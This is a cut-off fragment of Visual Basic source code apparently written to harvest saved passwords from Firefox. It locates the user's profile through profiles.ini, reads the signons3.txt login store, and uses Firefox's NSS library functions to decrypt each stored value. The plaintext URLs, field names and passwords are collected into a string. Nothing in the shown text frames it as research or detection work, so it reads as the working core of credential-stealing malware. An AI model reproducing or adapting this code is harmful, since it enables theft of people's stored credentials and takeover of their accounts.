sFFPath = GetSpecialfolder(CSIDL_APPDATA) & "\Mozilla\Firefox\" & "profiles.ini"
       
    sRet = Space(260)
    Call GetPrivateProfileString("Profile0", "Path", vbNullString, sRet, 260, sFFPath)
    sRet = Left$(sRet, lstrlen(sRet))

    sFFPath = GetSpecialfolder(CSIDL_APPDATA) & "\Mozilla\Firefox\" & sRet & "\signons3.txt"
    
    Open sFFPath For Binary Access Read As #1
    sPass = Space(LOF(1))
    Get #1, , sPass
    Close #1

    sRet = GetSpecialfolder(CSIDL_APPDATA) & "\Mozilla\Firefox\" & sRet

    svEntry = Split(sPass, "." & vbCrLf)
     
    bvRet = StrConv(sRet, vbFromUnicode)
    
    If CallFunc("NSS_Init", StrPtr(bvRet)) = 0 Then
        lKeySlot = CallFunc("PK11_GetInternalKeySlot")
        If Not lKeySlot = 0 Then
            If CallFunc("PK11_Authenticate", lKeySlot, True, 0) = 0 Then
                For i = 1 To UBound(svEntry) - 1
                    svLines = Split(svEntry(i), vbCrLf)
                    Enumerate = Enumerate & " " & "URL: " & svLines(0) & vbCrLf
                    For j = 1 To UBound(svLines) - 3 Step 2
                        If Not svLines(j + 1) = "---" Then
                            Enumerate = Enumerate & " " & "Section: " & svLines(j) & vbCrLf
                            Enumerate = Enumerate & " " & "Value: " & svLines(j + 1) & vbCrLf

                            bvRet = StrConv(svLines(j + 1), vbFromUnicode)
                            Call CallFunc("NSSBase64_DecodeBuffer", 0, VarPtr(tSec), StrPtr(bvRet), Len(svLines(j + 1)))

                            If CallFunc("PK11SDR_Decrypt", VarPtr(tSec), VarPtr(tSecDec), 0) = 0 Then
                                If tSecDec.SECItemLen > 0 Then
                                    ReDim bvRet(tSecDec.SECItemLen - 1)
                                    CopyMemory bvRet(0), ByVal tSecDec.SECItemData, tSecDec.SECItemLen
                                    Enumerate = Enumerate & " " & "Data: " & StrConv(bvRet, vbUnicode) & vbCrLf
                                End If
                            End If
                        End If